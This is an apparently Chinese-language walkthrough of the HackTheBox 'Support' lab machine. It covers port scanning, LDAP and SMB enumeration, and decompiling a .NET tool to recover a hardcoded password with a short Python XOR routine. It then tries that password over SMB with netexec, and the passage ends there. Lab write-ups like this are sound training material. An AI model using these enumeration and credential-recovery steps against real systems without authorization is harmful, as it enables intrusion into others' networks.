目录
使用netexec通过上述名单和密码对靶机SMB服务进行密码喷洒
使用evil-winrm通过上述凭证登录靶机Win-RM服务
使用impacket-ticketConverter转换该票据
使用impacket-psexec通过administrator票据登录靶机
连接至HTB服务器并启动靶机
分配IP:10.10.16.21
靶机IP:10.10.11.174
靶机Domain:support.htb
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.174 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49678,49701,49739
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49678,49701,49739
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.174
- 需要重点关注的端口和服务
53端口:Domain服务
88端口:Kerberos服务
389端口:LDAP服务
445端口:SMB服务
5985端口:Win-RM服务
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.174
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.174
使用ldapsearch枚举靶机LDAP服务器根节点信息
ldapsearch -H ldap://10.10.11.174 -x -s base namingcontexts
使用smbmap通过匿名账户枚举靶机SMB服务共享
smbmap -u guest -H 10.10.11.174
使用smbmap枚举support-tools共享内的文件
smbmap -u guest -H 10.10.11.174 -r support-tools
- 将UserInfo.exe.zip文件下载到攻击机本地
smbmap -u guest -H 10.10.11.174 -r support-tools -A UserInfo.exe.zip -download
- 使用unzip将该压缩包解压
unzip 10.10.11.174-support-tools_UserInfo.exe.zip -d UserInfo
边界突破
使用Exeinfope查看UserInfo.exe文件编译
- 由工具输出可知,该EXE可执行文件为.NET框架环境编译执行且未加壳
使用ILSpy反编译该EXE文件
- 由此可得密钥和加密函数,直接扔给大模型修改为Python代码以便编译执行
import base64
class Protected:
_enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
_key = b"armando"
@staticmethod
def get_password():
# 解码 Base64 字符串
encrypted_data = base64.b64decode(Protected._enc_password)
decrypted_data = bytearray(encrypted_data)
# 解密过程
for i in range(len(decrypted_data)):
decrypted_data[i] ^= Protected._key[i % len(Protected._key)] ^ 0xDF
# 返回解密后的字符串
return decrypted_data.decode('utf-8')
# 测试
if __name__ == "__main__":
password = Protected.get_password()
print("Decrypted Password:", password)
- 直接编译运行获得密码
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
使用netexec通过该密码与靶机LDAP账户匹配
netexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
<